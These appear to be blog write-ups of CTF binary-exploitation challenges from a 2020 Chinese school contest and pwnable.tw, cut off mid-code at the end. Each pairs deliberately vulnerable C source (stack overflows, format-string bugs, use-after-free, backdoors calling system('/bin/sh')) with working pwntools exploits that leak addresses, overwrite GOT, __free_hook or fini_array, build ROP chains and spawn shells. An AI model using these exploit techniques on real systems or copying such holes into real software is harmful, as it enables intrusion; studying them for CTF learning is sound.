分类 writeups 下的文章

2020年 第三届全国中学生网络安全竞赛

初赛

初赛终榜

blind

思路

  • 这是一道签到盲pwn,用于getshell的函数地址已经给出,只需要循环爆破栈溢出字节数即可
  • 通过观察发现,如果发生了栈溢出再输入#exit会没有stopping提示而直接重启服务,说明栈被破坏了,以此可以确定是否达到所需字节数

源代码

#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

void backdoor(){
    system("/bin/sh");
}

void echo(){
    char buf[32];
    puts("The echo server is starting...");
    puts("Type '#exit' to exit.");
    while(1){
        printf("msg:");
        scanf("%s",buf);
        if(!strcmp(buf, "#exit"))
            return;
        puts(buf);
    }
}

int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    puts("Welcome to mssctf2020.");
    printf("Here is a backdoor left by eqqie: %p\n\n\n",backdoor);
    while(1){
        int pid = fork();
        if(pid){ // main
            wait(NULL);
        }
        else{
            echo();
            puts("The echo server is stopping...");
            exit(0);
        }
    }    
}

exp

from pwn import *
#context.log_level = "debug"

def get_socket():
    return remote("mssctf.eqqie.cn", 10000)
    #return process("./blind")
offset = 1

p = get_socket()
p.recvuntil(b"eqqie: ")
backdoor = int(p.recvuntil(b"\n"), 16)
p.close

while True:
    p = get_socket()
    p.sendafter(b"msg:",b"A"*offset+b"\n")
    p.sendafter(b"msg:",b"#exit\n")
    ret = p.recvuntil(b"starting...")
    if b"stopping" not in ret:
        print("offset is:",offset)
        p.sendafter(b"msg:",b"A"*offset+p64(backdoor)+b"\n")
        p.sendafter(b"msg:",b"#exit\n")
        p.interactive()
        break
    else:
        offset+=1
        print("offset+1")
    p.close()

whisper

思路

  • say_hello 函数中存在溢出漏洞,当输入长度为 32 个字节时,strdup 函数会把 old rbp 一起保存到堆上,随后打印时可泄露栈地址。
  • 通过调试可以计算出保存在栈上的第二次输入处的指针。
  • 接收用户第二次输入的 scanf 函数也存在溢出漏洞,如果在第二次输入时写入 shellcode 并覆盖返回地址为指向 shellcode 的指针,即可 get shell。

源代码

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void my_init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

char *say_hello() {
    char name[24];
    char *p;
    memset(name, 0, sizeof(name) + 8);
    puts("input your name:");
    read(0, name, 32);
    p = strdup(name);
    printf("hello, %s\n", p);
    return p;
}

void say_goodbye() {
    puts("i see, goodbye.");
    return;
}

int main() {
    char *p;
    char buf[64];
    my_init();
    p = say_hello();
    puts("young man, what do you want to tell me?");
    scanf("%s", buf);
    say_goodbye();
    return 0;

}

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

io = remote('mssctf.eqqie.cn', 10001)
# gdb.attach(io)

io.sendlineafter('input your name:', 'a' * 31)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('leak: ' + hex(leak))

shellcode_place = leak - 0x50
info('shellcode_place: ' + hex(shellcode_place))

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, 'a') + p64(shellcode_place)
io.sendlineafter('what do you want to tell me?', payload)
io.interactive()

baby_format

思路

  • 这是一个格式化字符串利用的题
  • 题目原先限制了printf次数,所以需要先在限制次数内泄露出栈和libc地址并修改循环计数变量
  • 通过构造栈上的二级指针向栈上某个位置写入一个指向printf_got的指针
  • 用上一步构造出的指针修改printf的got表
  • 当循环次数用尽后会用printf输出之前用户输入的name,所以只需要在开头输入name的时候构造成一条合法shell命令就可以getshell了

源代码

#include<cstdio>
#include<cstdlib>
#include<unistd.h>

char msg1[48];
char msg2[64];
char name[16];
char msg3[64];

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void read_input(char *buf, unsigned int size){
    int i = 0;
    while(i<size){
        if(read(0, (buf+i), 1)==-1){
            break;
        }
        else{
            if(*(buf+i)=='\n'){
                *(buf+i) = '\0';
                break;
            }
            i++;
        }
    }
}

int main(){
    int timeout = 2;
    prepare();
    printf("Input your name:");
    read_input(name, 16);
    puts("Welcome to mssctf_2020!");
    do{
        printf("Leave me your msg: ");
        read_input(msg1, 48);
        sprintf(msg2, "You said that %s", msg1);
        printf(msg2);
    }
    while(timeout--);
    sprintf(msg3, "Welcome to XDU, %s!", name);
    puts(msg3);
    return 0;
}

tips

本题的演示exp有多次4字节写所以容易出现io卡住的情况,可以尝试分解成两次2字节写来解决

exp

from pwn import *
import time

#p = process("./baby_format")
p = remote("mssctf.eqqie.cn", 10002)
elf = ELF("./baby_format")
libc = ELF("./libc.so.6")
context.log_level = "debug"

#gdb.attach(p, "b printf\nc\n")
#gdb.attach(p, "b *0x40084c\nc\n")
printf_plt = elf.symbols[b"printf"]
puts_got = elf.got[b"puts"]

p.sendafter("Input your name:", b";/bin/sh;echo \x00\n")
p.recvuntil(b"Welcome to mssctf_2020!\n")

#leak
payload1 = b"||%9$p||%11$p||\n"
p.sendafter("Leave me your msg: ", payload1)
p.recvuntil(b"||")
libc_base = int(p.recvuntil(b"||",drop=True),16) - 0x20840
stack_leak = int(p.recvuntil(b"||",drop=True),16)
stack1 = stack_leak - 0xec
stack2 = stack_leak - 0xb8
print("libc_base", hex(libc_base))
print("stack_leak", hex(stack_leak))
print("stack1", hex(stack1))
print("stack2", hex(stack2))

#modify loop
print("modify loop")
low_bytes = stack1 & 0xFFFF
payload2 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload2)
p.sendafter("Leave me your msg: ", b"%6c%37$n\n")

#overwrite got_addr+0 to stack
print("overwrite got_addr+0 to stack")
low_bytes = stack2 & 0xFFFF
payload3 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload3)
payload4 = b"%" + str(int(puts_got-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload4)

#overwrite printf_got-printf_got+2
print("overwrite printf_got-printf_got+2")
system = libc_base + libc.symbols[b"system"]
print("system", hex(system))
low_bytes = system & 0xFFFF
payload5 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload5)

#overwrite got_addr+2 to stack
print("overwrite got_addr+2 to stack")
low_bytes = stack2 & 0xFFFF
payload6 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload6)
payload7 = b"%" + str(int(puts_got+2-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload7)

#overwrite printf_got+2-printf_got+4
print("overwrite printf_got+2-printf_got+4")
low_bytes = (system >> 16) & 0xFFFF
payload8 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload8)

for i in range(14):
    p.sendafter("Leave me your msg: ", b"AAAA\n")
    time.sleep(0.5)

p.interactive()

决赛

决赛终榜

gift

前置知识

  • 基础逆向
  • C++虚表机制
  • UAF漏洞原理

思路

  • 程序模拟了个人信息管理系统,提供了如下功能

    • 创建个人信息
    • 显示个人信息
    • 删除个人信息
    • 自定义长度留言
  • 通过IDA逆向分析得知,bss全局变量区域会保存一个指针指向用户通过new关键字创建的对象,同时通过检查删除功能的实现发现该指针变量在对象销毁后没有置NULL,由此推测存在UAF(use after free)。于是进一步检查show功能。

  • show功能调用了对象中的某个方法来显示用户信息,同时还发现对象具有一个可以getshell的方法,只是不能直接调用。由此可以得知大概攻击思路:利用UAF修改虚表指针使得show功能能够getshell。

  • 接下来进入动态调试步骤:


    使用创建信息功能后检查堆内存


  • 0x615c10: 0x0000000000000000  0x0000000000000041
    0x615c20: 0x0000000000401e58  0x0000000000000014
    0x615c30: 0x0000000000615c40  0x0000000000000008
    0x615c40: 0x4141414141414141  0x0000000000000000
    

  • 刚刚创建的信息(name: AAAAAAAA, age: 20)被存入了一个0x40大小的堆块


  • 由C++虚表知识可知堆块头存放了vtable的地址,往后则是个人信息


  • 检查0x401e58(虚表)处内存


  • 0x401e58: 0x0000000000401788 0x0000000000401932


  • 明显是两个函数的地址,第一个是getshell函数,第二个是show info功能,调用show info时从vtable+0x8取出函数指针,只要把对象内存头部改为vtable-0x8就可以通过show info来调用getshell方法

  • 攻击步骤

    • 创建信息
    • 删除信息
    • 创建长度为0x30的留言
    • 使用show info功能getshell

exp

from pwn import *

p = process("./gift")
#context.log_level = "debug"

def create(name, age:int):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Your name: ")
    p.sendline(name)
    p.recvuntil(b"Your age: ")
    p.sendline(str(age).encode())

def show():
    p.recvuntil(b"> ")
    p.sendline(b"2")

def delete():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def msg(content, length:int):
    p.recvuntil(b"> ")
    p.sendline(b"4")
    p.recvuntil(b"How long? ")
    p.sendline(str(length).encode())
    p.recvuntil(b"content: ")
    p.sendline(content)


def exp():
    vtable = 0x401e58
    chunk_size = 0x40

    create("eqqie",20)
    delete()
    msg(p64(vtable-0x8), 0x30)
    gdb.attach(p)
    show()
    p.interactive()

if __name__ == "__main__":
    exp()

源代码

//g++ -fstack-protector -no-pie -o uaf --std=c++17 uaf.cpp;chmod +x uaf;strip uaf;
#include<iostream>
#include<string>
#include<cstdio>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
class student{
    private:
        virtual void gift(){
            //std::cout<<"Welcome to XDU next time."<<std::endl;
            std::cout<<"Your gift is a hard shell, and I hope you can use it to resist all fear."<<std::endl;
            system("/bin/sh");
        }
    protected:
        int age;
        std::string name;
    public:
        virtual void log_info(){
            std::cout<<"-----------------------------------------"<<std::endl;
            std::cout<<"My name is "<<name<<", and I am "<<age<<" years old."<<std::endl;
            std::cout<<"-----------------------------------------"<<std::endl;
        }
};

class mss_player : public student{
    public:
        mss_player(std::string name,int age){
            this->name = name;
            this->age = age;
        }
        virtual void log_info(){
            student::log_info();
            std::cout<<"I'm a mssctf player."<<std::endl;
        }
};

mss_player *my_info=NULL;

void welcome(){
    char msg[] = R"+*(  __  __                      _      __     _____   _                   _ 
 |  \/  |  ___   ___    ___  | |_   / _|   |  ___| (_)  _ __     __ _  | |
 | |\/| | / __| / __|  / __| | __| | |_    | |_    | | | '_ \   / _` | | |
 | |  | | \__ \ \__ \ | (__  | |_  |  _|   |  _|   | | | | | | | (_| | | |
 |_|  |_| |___/ |___/  \___|  \__| |_|     |_|     |_| |_| |_|  \__,_| |_|
                                                                          )+*";
    std::cout<<msg<<std::endl;
}

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    alarm(0x3c);
}

int menu(){
    int choice;
    puts("\n1. Create my info.");
    puts("2. Show my info.");
    puts("3. Delete my info.");
    puts("4. Leave some message to eqqie.");
    puts("5. exit.");
    printf("> ");
    scanf("%d",&choice);
    return choice;
}

void create(){
    std::string name;
    int age;
    std::cout<<"Your name: ";
    std::cin>>name;
    std::cout<<"Your age: ";
    std::cin>>age;

    mss_player *mp = new mss_player(name, age);
    my_info = mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void show(){
    mss_player *mp = my_info;
    mp->log_info();
    std::cout<<"[+]Done!"<<std::endl;
}

void del(){
    mss_player *mp = my_info;
    delete mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void msg(){
    int len;
    std::cout<<"How long? ";
    std::cin>>len;
    char *msg = new char[len];
    std::cout<<"content: ";
    std::cin>>msg;
    std::cout<<"[+]Done!"<<std::endl;
}

int main(){
    prepare();
    welcome();
    std::cout<<"Welcome to mssctf final, guys!"<<std::endl;
    std::cout<<"Eqqie leaves a small gift for each player, but you need some tips to open it~\n"<<std::endl;
    std::cout<<"Now you can manage your info to get the gift >"<<std::endl;
    while(1){
        switch(menu()){
            case 1:
                create();
                break;
            case 2:
                show();
                break;
            case 3:
                del();
                break;
            case 4:
                msg();
                break;
            case 5:
                std::cout<<"Bye~"<<std::endl;
                exit(0);
            default:
                printf("Sorry I don't konw...");
        }                                
    }
    return 0;
}

fishing master

前置知识

  • 格式化字符串
  • __free_hook

思路

  • 利用格式化字符串漏洞泄露保存在栈上的 libc 地址

  • 通过任意写修改 __free_hook 为 onegadget 或 system(需要在第一次输入时输入 ""/bin/sh\x00")

  • 当调用 free 函数时即可 get shell。

exp

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

if args.G:
    io = remote('0.0.0.0', 9999)
elif args.D:
    io = gdb.debug('./fishing_master')
else:
    io = process('./fishing_master')

# gdb.attach(io)

'''
do you know how to use this fish hook for flag?
'''

payload = b'%7$saaaa' + p64(0x0000000000600fe8)

io.sendlineafter('tell me your name, and maybe i will teach you how to fish if i like it.', \
    'qqq')
io.sendlineafter('nice name and i like it, i\'ve remembered you in my mind.', '%13$p')
io.recvuntil('0x')
leak = int(b'0x' + io.recv(12), 16)
success('leak: ' + hex(leak))
libc.address = leak - 240 - libc.sym['__libc_start_main']
info('libc_base: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
info('free_hook: ' + hex(free_hook))
ogg = libc.address + 0x4527a
info('ogg: ' + hex(ogg))
# gdb.attach(io)
io.sendafter('What do you think of this new fish hook?', p64(free_hook))

io.sendafter('i do know you will like it, i hope it can make you a master of fishing.', \
    p64(ogg))

'''
What do you think of this new fish hook?
i do know you will like it, i hope it can make you a master of fishing.

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

# gdb.attach(io)

io.interactive()

源代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char *p;

void func0() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

void func1() {
    char name[8];
    puts("tell me your name, and maybe i will teach you how to fish if i like it.");
    read(0, name, 8);
    puts("nice name and i like it, i've remembered you in my mind.");
    p = strdup(name);
    return;
}

void func2() {
    char c[9];
    puts("then i decide to send you a gift for our friendship.");
    read(0, c, 8);
    printf(c);
    return;
}

void func3() {
    char d[9];
    puts("What do you think of this new fish hook?");
    read(0, d, 8);
    puts("i do know you will like it, i hope it can make you a master of fishing.");
    read(0, (void *) * (unsigned long *) d, 8);
    // printf("0x%lx\n", * (unsigned long*) d);
}

void func4() {
    puts("but i have to go, my friend. see you next time.");
    free(p);
    return;
}

int main() {
    func0();
    func1();
    func2();
    func3();
    func4();
    return 0;
}

wallet

前置知识

  • 原题:pwnable.kr -> passcode
  • 栈溢出
  • scanf函数

思路

  • begin存在栈溢出最大可以刚好覆盖check中的password1,而由于check中的scanf第二参数的不规范写法,导致只需要提前在begin中将password1覆盖为puts_got
  • 然后在第一个scanf的时候连带写入调用system("/bin/cat flag")前的push的语句(32位传参规则),从而绕过if的判断,提前cat flag

exp

from pwn import *

p=process("./pwn")
elf = ELF("./pwn")
context.log_level = "debug"
gdb.attach(p,"b *0x8048685\nc\n")
p.recvuntil(b"EXIT\n")
p.sendline(b'1')

puts_got = elf.got[b"puts"]
call_sys_addr = 0x0804862D

name = b'A'*104 + p32(puts_got) + str(call_sys_addr).encode() + b"\b" + str(call_sys_addr).encode() + b"\b" 

p.sendline(name)

p.interactive()

源代码

#include <stdio.h>
#include <stdlib.h>

void check(){
    int password1;
    int password2;

    printf("Now try the First password : ");
    scanf("%d", password1);
    fflush(stdin);

    printf("Now try the Second password : ");
    scanf("%d", password2);

    printf("Let me think......\n"); //优化为puts
    if(password1==338150 && password2==13371337){
                printf("OMG!YOU SUCCESS!\n");
                system("/bin/cat flag");
        }
        else{
                printf("You Failed! Try again.\n");
        exit(0);
        }
}

void begin(){
    char name[108];
    printf("Show me your name : ");
    scanf("%108s", name);
    printf("Welcome %s! :P\n", name);
}

int main(void){
    int num;
    printf("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.\n");
    printf("1.JUST OPEN IT!\n");
    printf("2.EXIT\n");
    scanf("%d",&num);
    if(num==1){
    begin();
    check();     
    }else{
        return 0;
    }

    printf("Here is something you like.\n");
    return 0;    
}

从这题学到很多之前不太注意的地方,因此还盘点了一下C语言程序运行的整个流程,正所谓 ctf for learning(x

前置知识

从Hello world开始

Hello world简单吗?写起来简单,但是要解释清楚却很难。下面用一个helloworld程序静态编译(x64)作为例子讲解简单C程序的运行流程。

//gcc helloworld.c --static -o helloworld
#include<stdio.h>

int main(){
    printf("Hello world!\n");
    return 0;
}

不知道初学者会不会注意,明明在第一印象中main函数处于一个“至高无上”的地位,却还要在末尾return 0? 有没有想过这个返回值最后交给了谁?

反汇编分析

IDA打开刚刚编译的helloworld,对main函数查看交叉引用,发现在main之前有一个_start操作了main函数的地址,再对_start交叉引用发现,_start的地址是整个程序的Entry_point,也就是说,程序执行后最先执行的是start中的指令。

下面是start的反汇编结果:

.text:0000000000400890 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400890 ; __unwind {
.text:0000000000400890                 xor     ebp, ebp
.text:0000000000400892                 mov     r9, rdx         ; rtld_fini
.text:0000000000400895                 pop     rsi             ; argc
.text:0000000000400896                 mov     rdx, rsp        ; ubp_av
.text:0000000000400899                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000040089D                 push    rax
.text:000000000040089E                 push    rsp             ; stack_end
.text:000000000040089F                 mov     r8, offset __libc_csu_fini ; fini
.text:00000000004008A6                 mov     rcx, offset __libc_csu_init ; init
.text:00000000004008AD                 mov     rdi, offset main ; main
.text:00000000004008B4                 call    __libc_start_main
.text:00000000004008B4 _start          endp

可见,start在最后调用了__libc_start_main这个函数,经过查证,这是一个库函数(但是为了讲解方便这里使用了静态编译),主要的功能是初始化进程以及各类运行环境,并处理main函数的返回值。这个函数的声明如下:

int __libc_start_main(int (main) (int, char , char ), int argc, char * ubp_av, void (init) (void), void (*fini) (void), void (*rtld_fini) (void), void ( stack_end));

参数非常多,主要关注 rdi r8 rcx 的参数就行。

可以发现rdi中的地址就是main函数的地址,而r8和rcx分别对应__libc_csu_fini__libc_csu_init两个函数。

难道说__libc_start_main会利用这两个函数做些什么吗,于是再去查找这两个函数的相关信息发现,这两个函数各自与一个数组相关联:

.init_array:00000000006C9ED8 _init_array     segment para public 'DATA' use64
.init_array:00000000006C9EE0 off_6C9EE0      dq offset init_cacheinfo
.init_array:00000000006C9EE0 _init_array     ends
===========================================================================
.fini_array:00000000006C9EE8 _fini_array     segment para public 'DATA' use64x
.fini_array:00000000006C9EF0                 dq offset fini
.fini_array:00000000006C9EF0 _fini_array     ends

__libc_csu_init__libc_csu_fini分别对应_init_array_fini_array,这两个数组各自有两个元素,保存了一些函数指针。在进入这个两个函数的时候,他们会遍历调用各自数组中的函数指针。而且,__libc_csu_init 执行期在main之前,__libc_csu_fini 执行期在main之后。也就是说,这两个数组中的函数指针会在main函数执行前后被分别调用。

这里要注意的是,_init_array执行顺序是下标由小到大,_fini_array执行顺序是下标由大到小。

总结一下整个流程大概就是:

start -> _libc_start_main -> libc_csu_init(init_array) -> main -> libc_csu_finit(fini_array) -> exit(main_ret)

至此,最开始的小问题就解决了,main函数的返回值最后交给了_libc_start_main处理,而处理方式是作为exit的参数结束程序。

利用方式

那么有意思的来了,虽然_init_array不便控制,因为它在主函数前就执行完了,但是_fini_array却可以利用主函数的某些漏洞(如任意写)进行控制。

方式1:构造Loop

遇到写次数有限的格式化字符串漏洞,可以利用_fini_array构造loop进行多次写。

尝试构造如下结构:

fini_array[0] = __libc_csu_fini
fini_array[1] = target_func

这样在程序退出的时候,就会循环执行 __libc_csu_fini -> target_func -> __libc_csu_fini -> .... ,从而多次经过漏洞函数所在位置达到多次写的目的。

方式2:构造ROP链

这是比较难发现的点,首先仔细看__libc_csu_fini的反汇编结果:

.text:0000000000401710 ; void _libc_csu_fini(void)
.text:0000000000401710                 public __libc_csu_fini
.text:0000000000401710 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401710 ; __unwind {
.text:0000000000401710                 push    rbx
.text:0000000000401711                 mov     ebx, offset __JCR_LIST__
.text:0000000000401716                 sub     rbx, offset __do_global_dtors_aux_fini_array_entry
.text:000000000040171D                 sar     rbx, 3
.text:0000000000401721                 test    rbx, rbx
.text:0000000000401724                 jz      short loc_40173D
.text:0000000000401726                 db      2Eh
.text:0000000000401726                 nop     word ptr [rax+rax+00000000h]
.text:0000000000401730
.text:0000000000401730 loc_401730:                             ; CODE XREF: __libc_csu_fini+2B↓j
.text:0000000000401730                 call    ds:off_6C9EE0[rbx*8]
.text:0000000000401737                 sub     rbx, 1
.text:000000000040173B                 jnz     short loc_401730
.text:000000000040173D
.text:000000000040173D loc_40173D:                             ; CODE XREF: __libc_csu_fini+14↑j
.text:000000000040173D                 pop     rbx
.text:000000000040173E                 jmp     _fini
.text:000000000040173E ; } // starts at 401710

可以发现,在执行过程中,__libc_csu_fini先将rbp保存在了原栈,再把rbp迁移到fini_array的位置,然后从fini_array[1]到fini_array[0]进行函数指针的调用,最后利用原栈上的值恢复rbp。

但是如果有心人在fini_array[0]写入leave ret这种gadget的地址,就会导致rsp被迁移到fini_array上,然后按照fini_array[1],fini_array[2],fini_array[3]...这样顺序执行提前布置好的的ROP链。

题目分析

主函数伪代码(部分函数经过重命名):

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int addr_ret; // eax
  char *addr; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    strtol((__int64)&buf);                      // 把输入内容转换为长整型(地址)
    addr = (char *)addr_ret;
    write(1u, "data:", 5uLL);
    read(0, addr, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v7 )
    sub_44A3E0();
  return result;
}

题目主函数给了一个任意地址写,但是if判断限制只能写一次,并且没有地址泄露的步骤。

很明显,我们需要构造一个loop进行多次任意写,但是栈上地址不知道,所以不能写ret_addr,只能用fini_array构造loop。

但是loop回来能不能过if判断呢?显然不能......才怪。

只要你细心观察就会发现byte_4B9330unsigned _int8,也就是范围在0-255,也就是说当loop执行到一定次数,发生整数溢出时,byte_4B9330 == 1可以重新成立,这样就能继续任意写了。

下一步时构造execve("/bin/sh\x00", 0, 0)功能的ROP链到fini_array上。为了不破坏loop,只能从fini_array[2]开始写。

ROP链写完后,后把fini_array[0]写成leave ret,fini_array[1]写成ret,便可以在结束掉loop的同时将执行流衔接到ROP链上,完成getshell。

exp

from pwn import *

#p = process("./3x17")
p = remote("chall.pwnable.tw", 10105)
context.log_level = "debug"
#gdb.attach(p, "b *0x401C29\nc\n")
#gadgets
ret = 0x0000000000401016
leave_ret = 0x0000000000401c4b
pop_rax_ret = 0x000000000041e4af
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rdx_ret = 0x0000000000446e35
syscall = 0x00000000004022b4


fini_array = 0x4B40F0
_libc_csu_fini = 0x402960
main = 0x401B6D

def read_to(addr:int, content):
    p.recvuntil(b"addr:")
    p.send(str(addr).encode())
    p.recvuntil(b"data:")
    p.send(content)

def exp():
    #make loop
    read_to(fini_array, p64(_libc_csu_fini)+p64(main))

    #build ROP_chain
    binah_addr = 0x4B9300
    read_to(binah_addr, b"/bin/sh\x00")

    read_to(fini_array+0x8*2, p64(pop_rax_ret) + p64(59))
    read_to(fini_array+0x8*4, p64(pop_rdi_ret) + p64(binah_addr))
    read_to(fini_array+0x8*6, p64(pop_rsi_ret) + p64(0))
    read_to(fini_array+0x8*8, p64(pop_rdx_ret) + p64(0))
    read_to(fini_array+0x8*10, p64(syscall))

    #gdb.attach(p, "b *0x401C2E\nc\n")    
    #new stack & start rop
    read_to(fini_array, p64(leave_ret) + p64(ret))

    #getshell
    p.interactive()

if __name__ == "__main__":
    exp()

总结

其实二进制方向很多时候都是大道至简,只有真正掌握了底层原理和思考能力的人才不会在如今越来越商业化的安全行业中成为无头无脑的“做题家”。

safebox

题目文件

pwn

libc.so

分析

这个题感觉挺经典的,分配堆时存在一字节溢出。且只能在分配时写入,不能修改,不能打印堆块内容。

整理一下大致的思路,因为需要写malloc_hook或者free_hook,可以尝试先利用_IO_FILE_stdout泄露地址。既然需要泄露地址那就需要构造unsortedbin和伪造tcache(这里是难点)。主要构造方式参考了sad师傅的思路:利用unlink的方式将四个堆块构造成overlapping,合并成一个大的unsortedbin,同时保留中间两个堆块的指针以便在后续步骤中释放被覆盖的堆块,使其进入tcache,这样堆块上如果有stdout的地址就可以通过两次malloc进行修改_IO_FILE_stdout。还有一个问题就是如何进行部分写构造出stdout的地址?其实很简单,只要从构造出的大unsortedbin中切割一部分,让剩下的部分对齐之前保留的指针,然后再次申请malloc(1)就可以写unsorted_arena低二字节,进行爆破。

整理如下:

  • 构造4个块的overlapping(unlink);
  • 释放被覆盖堆块、切割unsortedbin、部分写伪造tcache;
  • stdout泄露libc;
  • 同第二步类似写freehook为system函数地址;
  • 最后,向一个堆块写入/bin/sh并将其释放即可.

注意本题one_gadget的各种利用方式都失效了,更改为用free_hook的方式

爆破脚本

环境:ubuntu18.04 libc2.27 python3

适合本地复现用,原题线上环境拿shell后需要输入token,有些区别

from pwn import *
import sys

context.log_level = "debug"

def add(idx:int, length:int, content):
    p.recvuntil(b">>>")
    p.sendline(b"1")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"len:")
    p.sendline(str(length).encode())
    p.recvuntil(b"content:")
    p.send(content)

def delete(idx:int):
    p.recvuntil(b">>>")
    p.sendline(b"2")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())

def exit():
    p.recvuntil(b">>>")
    p.sendline(b"3")

def exp():
    global p 
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
    # make unsortedbin for unlink
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ## unlink header
    add(7, 0xf8, b"idx7") #idx7
    ## keep ptr
    add(8, 0x88, b"idx8") #idx8
    add(9, 0x98, b"idx9") #idx9
    add(10, 0xf8, b"idx10") #idx10
    add(11, 0x10, b"pppp");
    for i in range(7):
        delete(i) # del idx:1-6
    delete(7)
    delete(9)
    payload1 = b"a"*0x90 + p64(0x90+0xa0+0x100) + b"\x00"
    add(9, 0x98, payload1) #idx9
    delete(10)
    #gdb.attach(p)
    # remalloc, UAF, fake tcache
    ## remalloc for UAF
    ## we have kept ptr: idx8, idx9 , and so we can make 2 fake tcaches
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ### partial free
    delete(8)
    add(7, 0xf8, b"idx7") #idx7
    add(8, 0x1, b"\x60\xc7") #idx8
    ### attack _IO_FILE_stdout
    add(12, 0x88, b"idx12") #idx12
    #gdb.attach(p)
    payload2 = p64(0xfbad1800) + p64(0)*3 + b"\n"
    add(12, 0x88, payload2)
    ### leak libc_base
    p.recvn(23, timeout=1)
    leak = u64(p.recvn(8, timeout=1))
    libc_base = leak - 0x3eb780
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    #one = libc_base + 0x10a38c
    one = libc_base + libc.symbols[b"system"]
    print("leak:",hex(leak))
    print("libc_base:",hex(libc_base))
    print("malloc_hook:",hex(malloc_hook))
    print("free_hook:",hex(free_hook))
    print("one:",hex(one))

    # write malloc_hook
    delete(9)
    add(13, 0x68, b"idx13") #idx13
    payload3 = p64(free_hook)
    add(13, 0x8, payload3) #idx13
    add(13, 0x98, b"idx13") #idx13
    add(13, 0x98, p64(one)) #idx13
    #gdb.attach(p)
    ## go one_gadget
    add(15, 0x30, b"/bin/sh\x00")
    delete(15)
    p.sendline("ls")
    ret = p.recv()
    if b"flag" in ret:
        p.sendline("cat flag")
        print(p.recv())
        print("SUCCESS")
        sys.exit(0)
    else:
        print("NOT SUCCESS")
        p.close()

if __name__ == "__main__":
    while True:
        try:
            exp()
        except Exception as e:
            print("ERROR:",str(e))
            p.close()

解题思路综合了wp和比赛时的思路,做了一点简化

CoolCode

这题一开始粗心了,没看见有个逻辑漏洞导致可以绕过可见字符判断,但是在这种情况下sad师傅还是吧shellcode构造出来了,实属牛批…..

分析

  1. add功能在bss段保存堆指针,但是没限制index可以为负数,导致可以覆盖got表为堆指针
  2. add功能在读取输入的时候会用一个函数检查输入中是否包含了非数字和大写字母内容,如果有则调用exit结束程序。但是这个函数存在一个逻辑漏洞,当输入长度为1时,for循环不会进入,导致存在1字节的无效过滤。
  3. 只要覆盖free_got到堆上,并写入ret指令对应的字节b"\xc3″,就可以在exit时返回继续执行,绕过检查。(虽然绕过了检查,但是由于程序使用strncpy拷贝内容,还要注意\x00截断问题)
if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容
  {
    puts("read error.");
    exit(1);
  }
signed __int64 __fastcall filter_input(__int64 buf, int len)
{
  int i; // [rsp+14h] [rbp-8h]

  for ( i = 0; i < len - 1; ++i )
  {
    if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9
